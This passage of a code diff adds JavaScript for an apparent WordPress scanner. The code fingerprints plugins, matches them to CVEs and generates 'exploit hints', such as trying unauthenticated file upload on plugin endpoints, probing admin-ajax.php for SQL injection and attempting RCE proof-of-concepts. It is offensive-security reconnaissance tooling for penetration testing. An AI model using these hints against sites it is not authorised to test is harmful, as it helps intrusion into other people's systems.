+    if (typeof value !== "string")
+      continue;
+    const match = value.match(/CVE-\d{4}-\d{4,}|\b\d{4}-\d{4,}\b/i);
+    if (match)
+      return match[0];
+  }
+  return void 0;
+}
+function extractWpScanSeverity(vuln) {
+  if (typeof vuln.cvss === "string")
+    return vuln.cvss;
+  if (typeof vuln.cvss === "number")
+    return String(vuln.cvss);
+  if (typeof vuln.severity === "string")
+    return vuln.severity;
+  return void 0;
+}
+function isRecord(value) {
+  return !!value && typeof value === "object" && !Array.isArray(value);
+}
+function localMatchesToCves(matches) {
+  return matches.map((match) => ({
+    id: match.cveId,
+    aliases: match.aliases ?? [],
+    severity: match.severity,
+    summary: `${match.pluginName} ${match.affectedRange}: ${match.summary}`,
+    url: match.references[0],
+    source: "local_catalog"
+  }));
+}
+function mergeCveHits(...sources) {
+  const seen = /* @__PURE__ */ new Set();
+  const merged = [];
+  for (const cve of sources.flat()) {
+    const key = [cve.id, ...cve.aliases].find((id) => /^CVE-\d{4}-\d+/i.test(id)) ?? cve.id;
+    if (seen.has(key))
+      continue;
+    seen.add(key);
+    merged.push(cve);
+  }
+  return merged;
+}
+function buildExploitHints(slug, cves, localMatches = []) {
+  const hints = [];
+  if (cves.length === 0)
+    return hints;
+  for (const match of localMatches) {
+    for (const hint of match.exploitHints) {
+      hints.push(`[local ${match.cveId}] ${hint}`);
+    }
+  }
+  for (const cve of cves) {
+    const candidates = [cve.id, ...cve.aliases];
+    for (const id of candidates) {
+      const recipe = getCveExploit(id);
+      if (recipe) {
+        hints.push(formatExploitRecipe(recipe));
+        break;
+      }
+    }
+  }
+  const summaries = cves.map((c) => (c.summary ?? "").toLowerCase()).join(" | ");
+  if (/file upload|arbitrary file|upload/i.test(summaries)) {
+    hints.push(`Try unauthenticated file upload against /wp-content/plugins/${slug}/ endpoints \u2014 check the CVE advisory for the exact path.`);
+  }
+  if (/sql ?injection|sqli/i.test(summaries)) {
+    hints.push(`Look for vulnerable parameters in /wp-admin/admin-ajax.php?action=${slug}_*.`);
+  }
+  if (/(unauth|unauthenticated).*rce|remote code execution/i.test(summaries)) {
+    hints.push(`Unauthenticated RCE reported for ${slug} \u2014 try the PoC against the advisory-specified endpoint.`);
+  }
+  if (/xss|cross.site scripting/i.test(summaries)) {
+    hints.push(`Stored/reflected XSS reported for ${slug} \u2014 look for the affected input on plugin-rendered pages.`);
+  }
+  if (/deserial/i.test(summaries)) {
+    hints.push(`Deserialization gadget reported for ${slug} \u2014 inspect cookies and POST bodies for serialized payloads.`);
+  }
+  if (hints.length === 0) {
+    hints.push(`Review OSV entries for ${slug} \u2014 ${cves.length} advisory/advisories found.`);
+  }
+  return hints;
+}
+async function safeGet(url, fetchImpl, timeoutMs, headers) {
+  try {
+    const res = await withTimeout(fetchImpl(url, { method: "GET", headers: headers ?? {} }), timeoutMs);
+    if (!res)
+      return void 0;
+    const body = await res.text().catch(() => "");
+    return { ok: res.ok, status: res.status, body };
+  } catch {
+    return void 0;
+  }
+}
+async function withTimeout(p, timeoutMs) {
+  let timer;
+  try {
+    return await Promise.race([
+      p,
+      new Promise((resolve) => {
+        timer = setTimeout(() => resolve(void 0), timeoutMs);
+      })
+    ]);
+  } finally {
+    if (timer)
+      clearTimeout(timer);
+  }
+}
+function normalizeBase(target) {
+  return target.replace(/\/+$/, "");
+}
+function summarizeWpFingerprint(result) {
+  if (!result.isWordPress) {
+    return "Target does not appear to be WordPress (no WP-specific endpoints detected).";
+  }
+  const lines = [];
+  lines.push(`WordPress detected${result.coreVersion ? ` \u2014 core v${result.coreVersion}` : ""}. Evidence: ${result.evidence.join(", ")}`);
+  lines.push(`Plugins: ${result.plugins.length}, Themes: ${result.themes.length}`);
+  const withCves = result.findings.filter((f) => f.cves.length > 0);
+  if (withCves.length > 0) {
+    lines.push("");
+    lines.push(`CVE hits (${withCves.length}):`);
+    for (const f of withCves) {
+      const ids = f.cves.map((c) => c.id).slice(0, 5).join(", ");
+      lines.push(`  - [${f.kind}] ${f.slug}${f.version ? `@${f.version}` : ""}: ${ids}${f.cves.length > 5 ? ` (+${f.cves.length - 5} more)` : ""}`);
+      for (const hint of f.exploitHints) {
+        lines.push(`      hint: ${hint}`);
+      }
+    }
+  } else {
+    lines.push("No CVE matches via OSV.");
+  }
+  return lines.join("\n");
+}
+
+export {
+  runWpFingerprint,
+  summarizeWpFingerprint
+};